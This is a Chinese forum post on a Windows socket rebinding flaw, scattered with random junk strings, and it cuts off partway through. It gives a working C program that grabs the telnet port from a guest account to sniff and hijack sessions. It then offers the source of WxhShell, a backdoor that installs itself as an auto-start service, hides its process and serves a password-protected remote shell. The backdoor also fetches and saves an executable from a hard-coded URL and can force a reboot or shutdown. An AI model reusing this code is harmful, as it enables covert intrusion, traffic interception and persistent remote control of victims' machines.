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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *k@0:a(>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LBbo.KxAe3  
;f ;*Q>!  
  saddr.sin_family = AF_INET; '7O{*=`oj  
;*37ta  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q_T?G e  
{Y@-*pL]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hI>rtaY_  
B;D:9K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 . ;ea]_Z  
Fgc:6<MGM  
  这意味着什么?意味着可以进行如下的攻击: _1>(GK5[  
>m_ p\$_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;SlS!6.W-  
jN'fm  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) VATXsD  
^b|Nw:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =Zb"T5E  
$E9daUt8"J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F)<G]i8n~  
h2/1S{/n]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hOrk^iYN=  
+ k(3+b$S-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9^ *ZH1  
~a8G 5M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5S-o 2a  
Pguyf2/w  
  #include ixJ20A7  
  #include |>/&EElD  
  #include /Y\E68_Fh  
  #include    s ?Qb{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !>kv.`|7~  
  int main() n.8A Ka6  
  { ]stLC; nI  
  WORD wVersionRequested; VqO<+~M,E  
  DWORD ret; A*26'  
  WSADATA wsaData; +VpE-X=T  
  BOOL val; )r6SGlE[Y  
  SOCKADDR_IN saddr; {,  *Y  
  SOCKADDR_IN scaddr; 4k&O-70y4^  
  int err; V jB`~  
  SOCKET s; D'sboOY  
  SOCKET sc; ^s(X VVA  
  int caddsize; B 1ZHV^  
  HANDLE mt; 5dNf$a0E  
  DWORD tid;   7^t(RNq  
  wVersionRequested = MAKEWORD( 2, 2 ); o YI=p3l  
  err = WSAStartup( wVersionRequested, &wsaData ); zs]/Y2  
  if ( err != 0 ) { LG@c)H74  
  printf("error!WSAStartup failed!\n"); }A'<?d8   
  return -1; Hb AMoow!  
  } {@K2WB  
  saddr.sin_family = AF_INET; xMfv&q=k@  
   b=QGbFf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ";Ig%]  
xP/1@6]_Je  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ':R3._tw\  
  saddr.sin_port = htons(23); I9G*iu=U   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /&!d  
  { ZEyGqCf3  
  printf("error!socket failed!\n"); R#Nd|f<  
  return -1; oQjB&0k4  
  } &_^*rD~  
  val = TRUE; xd BZ^Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5bznM[%xO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Gv+Tg/  
  { ?VN]0{JSp  
  printf("error!setsockopt failed!\n"); Wo WM  
  return -1; T# _n-b>  
  } ]E8<;t)#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6RT0\^X*:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zQj%ds:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {7~ $$AR(  
IweK!,:>dN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $Ex 9  
  { ]pP2c[;  
  ret=GetLastError(); 16> >4U:Y  
  printf("error!bind failed!\n"); =&b$W/l)0  
  return -1; -S3+ h$Y8  
  } UV8r&O  
  listen(s,2); 8 W<)c  
  while(1) &'ETx"  
  { M^JZ]W(  
  caddsize = sizeof(scaddr); >=W#z  
  //接受连接请求 JO^ [@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^FMa8;'o  
  if(sc!=INVALID_SOCKET) .rB;zA;4S)  
  { n ua8y(W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I~ ]mX;  
  if(mt==NULL) *u4X<oBS*  
  { kRXg."b(  
  printf("Thread Creat Failed!\n"); ~$ qJw?r  
  break; |>}0? '/]  
  } WKJL< D ]:  
  } |{LaZXU&  
  CloseHandle(mt); P$ dgO  
  } )~mc1 U`b  
  closesocket(s); [ EID27P  
  WSACleanup(); H!>oLui  
  return 0; .&}4  
  }   95 .'t}  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3XlnI:w =  
  { MMr7,?,$  
  SOCKET ss = (SOCKET)lpParam; '=5_u  
  SOCKET sc; 5 /jY=/0.a  
  unsigned char buf[4096]; yGG\[I;7  
  SOCKADDR_IN saddr; v*fc5"3eO  
  long num; ~_j%nJ &2  
  DWORD val; 59Q Q_#>  
  DWORD ret; 32|L $o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $H@)hY8wA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2CgIY89O  
  saddr.sin_family = AF_INET; 6')SJ*|yS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @>nk^ l  
  saddr.sin_port = htons(23); M-K@n$k   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KdMA58)  
  { 2xdJ(\JWM  
  printf("error!socket failed!\n"); @#Uiy5N  
  return -1; I_I;.Ik  
  } WCl;#=  
  val = 100; o4'4H y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aq\TO?  
  { @wgGnb)  
  ret = GetLastError(); AG\ 852`1m  
  return -1; }ZVv  
  } BOQV X&g%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s i.a]k/f  
  { ~(L+4]  
  ret = GetLastError(); [K@!JY  
  return -1; ~)IJE+e>}  
  } WJ4UJdf'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @%G"i:HZ&  
  { ]JPPL4wAT  
  printf("error!socket connect failed!\n"); uWtS83i  
  closesocket(sc); 2pNJWYW"  
  closesocket(ss); "_@+/Iy.  
  return -1; _"bvT?|  
  } $<% nt  
  while(1) -t'oW*kdL  
  { vk+%#w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZjW| qb  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $hp?5K M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (IHBib "  
  num = recv(ss,buf,4096,0); il%tu<E#J~  
  if(num>0) !;C(pnE  
  send(sc,buf,num,0); R{A/ +7!  
  else if(num==0) H08YM P>dc  
  break; iSLf:  
  num = recv(sc,buf,4096,0); f> [;|r@K  
  if(num>0) JP@m%Yj  
  send(ss,buf,num,0); X&oy.Roo  
  else if(num==0) rWpfAE)!  
  break; mf[79:90^  
  } o? "@9O?  
  closesocket(ss); 9}$dwl(  
  closesocket(sc); 5d{Ggg{s  
  return 0 ; kR?n%`&k  
  } afq +;Sh  
6-}e-H  
.V:<w~=b  
========================================================== 'wV26Dm  
V="f)'S$  
下边附上一个代码,,WXhSHELL *LdH/C.LIf  
\#7%%>p=O'  
==========================================================  pytfsVM  
TFNU+  
#include "stdafx.h" y/VmjsN}  
7$P(1D4  
#include <stdio.h> xm, yqM!0A  
#include <string.h> 9],"AjD  
#include <windows.h> zR_l ^NK  
#include <winsock2.h> BW=6gZ_  
#include <winsvc.h> 0 3 $ W  
#include <urlmon.h> @$} \S  
r9*H-V$  
#pragma comment (lib, "Ws2_32.lib") l<_mag/j9o  
#pragma comment (lib, "urlmon.lib") '6J$X-  
Eakjsk  
#define MAX_USER   100 // 最大客户端连接数 H4A+Dg,  
#define BUF_SOCK   200 // sock buffer "dOY_@kg  
#define KEY_BUFF   255 // 输入 buffer S9+gVR8]C  
Dq 4}VkY  
#define REBOOT     0   // 重启 J&1N8Wk)  
#define SHUTDOWN   1   // 关机 xi=uXxl  
_'dy$.g  
#define DEF_PORT   5000 // 监听端口 2+cicBD  
lS*.?4zX  
#define REG_LEN     16   // 注册表键长度 GhA~PjZS  
#define SVC_LEN     80   // NT服务名长度 O'U,|A  
ys6"Q[B  
// 从dll定义API iGNKf|8{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xmd$Jol^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {\Y,UANZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B#n}y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #wuE30d  
`&7? +s  
// wxhshell配置信息 ]r5Xp#q2  
struct WSCFG { 1 K',Vw_  
  int ws_port;         // 监听端口 iqP0=(^m  
  char ws_passstr[REG_LEN]; // 口令 x l=|]8w  
  int ws_autoins;       // 安装标记, 1=yes 0=no uW_ /7ex  
  char ws_regname[REG_LEN]; // 注册表键名 < _uv!N  
  char ws_svcname[REG_LEN]; // 服务名 F$p,xFH#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }gaKO 5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8GQs9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U<byR!qLie  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ggjb86v\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vG:,oB}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v3#47F)  
vjS7nR"T  
}; g&5VorGx  
0k]N%!U  
// default Wxhshell configuration sRI8znus  
struct WSCFG wscfg={DEF_PORT, :b)@h|4  
    "xuhuanlingzhe", T,@7giQg@  
    1, 0_izTke  
    "Wxhshell", y%Ah"UY  
    "Wxhshell", -q|M=6gOs  
            "WxhShell Service", c3-bn #  
    "Wrsky Windows CmdShell Service", Gl1$W=pR:  
    "Please Input Your Password: ", Ia" Mi+{  
  1, e{S`iO  
  "http://www.wrsky.com/wxhshell.exe", .AS,]*?Zn%  
  "Wxhshell.exe" zxHfQ(  
    }; s#49pDN  
PmTd+Gj$  
// 消息定义模块 -W vAmi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |8ZAE%/d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =5F49  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c~;.m<yrf  
char *msg_ws_ext="\n\rExit."; \LXNdE2B  
char *msg_ws_end="\n\rQuit."; H[U*' 2TJ  
char *msg_ws_boot="\n\rReboot..."; @Q5^Q'!  
char *msg_ws_poff="\n\rShutdown..."; q\Z1-sl~s  
char *msg_ws_down="\n\rSave to "; i/B"d,=<  
"E#%x{d  
char *msg_ws_err="\n\rErr!"; !OemS 7{  
char *msg_ws_ok="\n\rOK!"; oWOZ0]H1  
Zwl?*t\D  
char ExeFile[MAX_PATH]; t F( mD=[  
int nUser = 0; yB[ LO( i  
HANDLE handles[MAX_USER]; AP@d2{"m}  
int OsIsNt; #}?$mxME*  
F@3,>~[%I  
SERVICE_STATUS       serviceStatus; EB,>k1IJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [r'M_foga*  
e&nw&9vo  
// 函数声明 _bsfM;u.%  
int Install(void); H8U*oLlc  
int Uninstall(void); x$sQ .aT  
int DownloadFile(char *sURL, SOCKET wsh); w"J(sVy4  
int Boot(int flag); ~coG8r"o  
void HideProc(void); S?$T=[yY)  
int GetOsVer(void); ~o$=(EC  
int Wxhshell(SOCKET wsl); Kz;VAH  
void TalkWithClient(void *cs); c8MNo'h  
int CmdShell(SOCKET sock); G&-h,"yo^  
int StartFromService(void); Stpho4+/y  
int StartWxhshell(LPSTR lpCmdLine); =r8(9:F!  
q ~lW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <u\G&cd_tA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QB>e(j%  
!s:|Ddv  
// 数据结构和表定义 :=@[FXD4  
SERVICE_TABLE_ENTRY DispatchTable[] = FT6cOMu  
{ 2{\Y<%.  
{wscfg.ws_svcname, NTServiceMain}, }_x oT9HUr  
{NULL, NULL} 8%B @[YDe  
}; ;2}Gqh)Yr  
J4; ".Y=  
// 自我安装 - Zh+5;8g  
int Install(void) DTY=k  
{ DJ.Ct4  
  char svExeFile[MAX_PATH]; 6(=:j"w0  
  HKEY key; usi p>y  
  strcpy(svExeFile,ExeFile); Ws(>} qjy  
R_ }(p2  
// 如果是win9x系统,修改注册表设为自启动 @ ri. r1  
if(!OsIsNt) { Fk:(% ci  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3z<t#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tuSgh!  
  RegCloseKey(key); `,O^=HBM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xM,3F jF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s zg1.&  
  RegCloseKey(key); rO~D{)Nu  
  return 0; t30V_`eQ  
    } A(B2XBS!?  
  } as8<c4:v  
} 2},}R'aR  
else { s_N!6$tS   
0=iJT4IEJ  
// 如果是NT以上系统,安装为系统服务 _ U\vHa$#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sQvEUqy9  
if (schSCManager!=0) KqQrxi?f-  
{ ^B/{  
  SC_HANDLE schService = CreateService rRW&29A  
  ( &wfM:a/c  
  schSCManager, |V& k1{V  
  wscfg.ws_svcname, 2#^[`sFPO  
  wscfg.ws_svcdisp, P\R3/g  
  SERVICE_ALL_ACCESS, f]4gDmn^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  E=E  
  SERVICE_AUTO_START, Vz^:| qON  
  SERVICE_ERROR_NORMAL, o0q{:An_Z  
  svExeFile, q0 <g#jK  
  NULL, C~B^sG@;  
  NULL, Y!H"LI  
  NULL, 11u qs S2  
  NULL, wU3Q  
  NULL 0=04:.%D  
  ); = ~yh[@R)  
  if (schService!=0) ~kL":C>2  
  { n| %{R|s  
  CloseServiceHandle(schService); = FQH  
  CloseServiceHandle(schSCManager); k"6^gup(U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R[z6 c )  
  strcat(svExeFile,wscfg.ws_svcname); l"Css~^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vy biuP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @ 9uwcM1F  
  RegCloseKey(key); 8PQ& 7o  
  return 0; ``={FaV~m  
    } laAG%lq/'  
  } D 6(w}W  
  CloseServiceHandle(schSCManager); 6Yklaq5  
} wo/H:3^N  
} `is6\RH  
!tVV +vT#  
return 1; 7]Z*]GRX  
} 3^Ex_jeB  
sXFD]cF  
// 自我卸载 iL(E`_I<  
int Uninstall(void) e&:fzO<~I  
{ +XQ6KG&  
  HKEY key; NXV%j},>  
X'5te0v`3  
if(!OsIsNt) { yF*JzE 7,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z7(hW,60  
  RegDeleteValue(key,wscfg.ws_regname); g+f{I'j  
  RegCloseKey(key); wL*z+>5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .{6TX"M  
  RegDeleteValue(key,wscfg.ws_regname); kys?%Y1  
  RegCloseKey(key); MRs8l  
  return 0; 5<u+2x8|  
  } e}kG1C8  
} 9 i"3R0HN  
} q+N}AKawB  
else { <1"6`24  
>IRo]-,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A2B&X}K|U  
if (schSCManager!=0) iVFn t!  
{ sh0O~%]g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a+Q)~13  
  if (schService!=0) {#7t(:x  
  { /%.K`BMN  
  if(DeleteService(schService)!=0) { Y.-i;Mmu  
  CloseServiceHandle(schService); c;j]/R$i  
  CloseServiceHandle(schSCManager); U-k6ZV3&8  
  return 0; o;"!#Z 1SJ  
  } *d@}'De{8  
  CloseServiceHandle(schService); RE Hfk6YE  
  } -wY6da*.W  
  CloseServiceHandle(schSCManager); %o5GD  
} Dgdh3q;  
} "zr%Q'Ky  
R (6Jvub"I  
return 1; /GEqU^ B  
} :r|dXW  
bO-8<IjC_3  
// 从指定url下载文件 ==$Ox6.  
int DownloadFile(char *sURL, SOCKET wsh) FC(m)S2  
{ l9n 8v\8,o  
  HRESULT hr; &4 ]%&mX)-  
char seps[]= "/"; fz:F*zT1  
char *token; P afmHXx  
char *file; 'Y[\[]3[8  
char myURL[MAX_PATH]; -2f0CAh~  
char myFILE[MAX_PATH]; m0 `wmM  
k%hif8y  
strcpy(myURL,sURL); /H\ZCIu/7  
  token=strtok(myURL,seps); o'W &gkb9  
  while(token!=NULL) @#sQ7eMoy  
  { keX0br7u_  
    file=token; \&SP7~-eq  
  token=strtok(NULL,seps); M5D,YC3<  
  } *@n%K,$v  
K~[/n<ks  
GetCurrentDirectory(MAX_PATH,myFILE); Qg3 -%i/@  
strcat(myFILE, "\\"); <n0-zCf  
strcat(myFILE, file); }Za[<t BWS  
  send(wsh,myFILE,strlen(myFILE),0); 3wD6,x-e   
send(wsh,"...",3,0); c!s{QWd%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .sCo,  
  if(hr==S_OK) N!hp^V<7  
return 0; zVp|%&  
else X^"95Ic  
return 1; eGZId v1  
n}a# b%e  
} o6'`W2P  
@UD6qA  
// 系统电源模块 xJ,V !N  
int Boot(int flag) F+9|D  
{ 9erTb?@S  
  HANDLE hToken; jMgNi@  
  TOKEN_PRIVILEGES tkp; >:8GU f*  
D_'Zucq  
  if(OsIsNt) { 7HFw*;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oU67<jq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AM\`v'I*6  
    tkp.PrivilegeCount = 1; 1Hzj-u&N/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <` HLG2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'j>Q7M7q{  
if(flag==REBOOT) { )0!hw|0|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _bFX(~37z?  
  return 0; S__+S7]Nr  
} 9].!mpR  
else { _^Rf*G!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vfmKYiLp  
  return 0; E+csK*A7  
} Gh|q[s*k  
  } ~G ,n>  
  else { 3]/w3|y  
if(flag==REBOOT) { t hTY('m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V&[|%jm&   
  return 0; X`[or:cB  
} k'EP->r  
else { Z-Zox-I1}-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,253'53W)  
  return 0; J$@3,=L6V  
} -&%#R_RV  
} {'EQ%H $q  
0t'WM=W<!8  
return 1; &U!@l)<  
} C {gYrz)  
Vtr 0=-m&  
// win9x进程隐藏模块 LBbk]I  
void HideProc(void) x_AG=5OJX,  
{ { +MqXeq  
,,lrF.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PudwcP {  
  if ( hKernel != NULL ) ,\xeNUZd  
  { 8.F]&D0p8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cC b'z1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P]1`=-  
    FreeLibrary(hKernel); Q(>89*b&  
  } XF'K dz>p  
BPwFcT)i!(  
return; 6xvyhg#B  
} 44]/rP_m  
9^x'x@6  
// 获取操作系统版本 &qF   
int GetOsVer(void) 9!}&&]Q`  
{ >Y!5c 2~`;  
  OSVERSIONINFO winfo; mO(m%3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -}4<P}.5T  
  GetVersionEx(&winfo); K9 :I8E<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +)dQd T0Fq  
  return 1; =T|Z[/fto  
  else H<Ed"-n$I<  
  return 0; k[&+Iy  
} ]|@RWzA  
Xq` '^)  
// 客户端句柄模块 cEhwv0f!qS  
int Wxhshell(SOCKET wsl) uR"(0_  
{ UW8 8JA0  
  SOCKET wsh; #0zMPh /U}  
  struct sockaddr_in client; a}c.]zm]  
  DWORD myID; @OV\raUO&V  
"at*G>+  
  while(nUser<MAX_USER) %n SLe~b  
{ S{XV{o  
  int nSize=sizeof(client); LhUrVydL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Q 8E)k@  
  if(wsh==INVALID_SOCKET) return 1; ^~E?7{BL  
!/[/w39D0o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mnn\y Tblp  
if(handles[nUser]==0) g!,>.  
  closesocket(wsh); h}nceH0s3d  
else mhv{6v  
  nUser++; 2zZ" }Zr#  
  } @rB!47!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oQ{(7.e7)  
0sD"Hu  
  return 0; [yF>W$Bn%  
} \'q 9,tP  
`%SFu  
// 关闭 socket {R5Q{]dK3  
void CloseIt(SOCKET wsh) w z}BH  
{ xxLD8?@e7  
closesocket(wsh); pdUrVmW"'  
nUser--; FZ)_WaqGf  
ExitThread(0); <DxUqCE  
} 2^'|[*$k1@  
.v?Ir)  
// 客户端请求句柄 JPltB8j?  
void TalkWithClient(void *cs) HTA@en[5  
{ 7 ^>UUdk(  
z<YOA  
  SOCKET wsh=(SOCKET)cs; 87.b7 b.  
  char pwd[SVC_LEN]; {9S=:  
  char cmd[KEY_BUFF]; Lnc _)RF  
char chr[1]; F@~zVu3'  
int i,j; 6p|*H?|It  
5xtIez]x?  
  while (nUser < MAX_USER) { Ztu _UlGC  
8+5 z-vd  
if(wscfg.ws_passstr) { By%mJ%$~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WqlX'tA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  ky0Fm W  
  //ZeroMemory(pwd,KEY_BUFF); J5b>mTvb  
      i=0; ;'CWAJK  
  while(i<SVC_LEN) { 16Ym*kWIps  
V<A_c^unO  
  // 设置超时 EdbL AagI6  
  fd_set FdRead; ;4tmnC>OnA  
  struct timeval TimeOut; E2+x?Sc+  
  FD_ZERO(&FdRead); I CCmE#n  
  FD_SET(wsh,&FdRead); TY6 D.ikA  
  TimeOut.tv_sec=8; {ULyB$\-  
  TimeOut.tv_usec=0; "^_9t'0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lv\C(^mGq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nK=-SQ  
f_y+B]?'M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G9"2h \  
  pwd=chr[0]; +0lvQVdp}  
  if(chr[0]==0xd || chr[0]==0xa) { x=7hOI5u  
  pwd=0; >*rH Nf  
  break; [ }-CXB  
  } oNH&VHjU  
  i++; !#s1'x{o  
    } iU]py  
s wgn( -  
  // 如果是非法用户,关闭 socket G$FNofQx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tai  
} )xwWig.  
HMDQEd;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7v\K,P8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B]jN~CO?  
WB~ ^R<g  
while(1) { ,QU2xw D[  
S^ ij%  
  ZeroMemory(cmd,KEY_BUFF); ZtG5vdf  
=gL~E9\  
      // 自动支持客户端 telnet标准   fS2 ^$"B|  
  j=0; H=Sy.  
  while(j<KEY_BUFF) { yv2BbrYyy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }H2<w-,+  
  cmd[j]=chr[0]; agdiJ-lyQ  
  if(chr[0]==0xa || chr[0]==0xd) { kH$)0nK  
  cmd[j]=0; ?L.c~w;l  
  break; XoI,m8A  
  } CtItzp  
  j++; /4w"akB|P  
    } Ck<g0o6  
MW&ww14  
  // 下载文件 -OY[x|0  
  if(strstr(cmd,"http://")) { 0NKo)HT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ma9VI5w  
  if(DownloadFile(cmd,wsh)) I|@'2z2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %{'hpT~h  
  else cEzWIS?pp\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N#<h/  
  } 1QkAFSl3  
  else { `72 uf<YQ  
v}w=I}<x  
    switch(cmd[0]) { J<8~w; i  
  +o&&5&HR  
  // 帮助 7I.7%m,g  
  case '?': { M`{x*qR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p%Zx<=f-_  
    break; I[b@U<\  
  } >9KQWeD  
  // 安装 k8]=5C?k  
  case 'i': { f{_K%0*  
    if(Install()) T^'NC8v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !B 36+W+  
    else ]u~6fknm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6uWzv~!*D  
    break; -8F~Tffx  
    } }*0OLUFFJ  
  // 卸载 L_$M9G|5n  
  case 'r': { sA6Ku(9  
    if(Uninstall()) \g|u|Y.2[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;-Bi~XD  
    else 9D 2B8t"a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NUB3L  
    break; yj]\%3o<Z7  
    } c o}o$}  
  // 显示 wxhshell 所在路径 4.@gV/U(|  
  case 'p': { +;nADl+Q  
    char svExeFile[MAX_PATH]; n|,kL!++.  
    strcpy(svExeFile,"\n\r"); 8!e1T,:b  
      strcat(svExeFile,ExeFile); `a.1Af;L  
        send(wsh,svExeFile,strlen(svExeFile),0); ~i&Lc7Xl  
    break; 6.fahg?E  
    } bY6y)l  
  // 重启 +jk_tPSe  
  case 'b': { Q{9#Am^6w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S].=gR0:  
    if(Boot(REBOOT)) oe1Dm   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O/;$0`~hY  
    else { !M]_CPh]  
    closesocket(wsh); e%#8]$  
    ExitThread(0); jtWI@04o09  
    } @WuB&uF=d  
    break; vF45tw  
    } >icK]W  
  // 关机 G~Oj}rn  
  case 'd': { v&:R{  
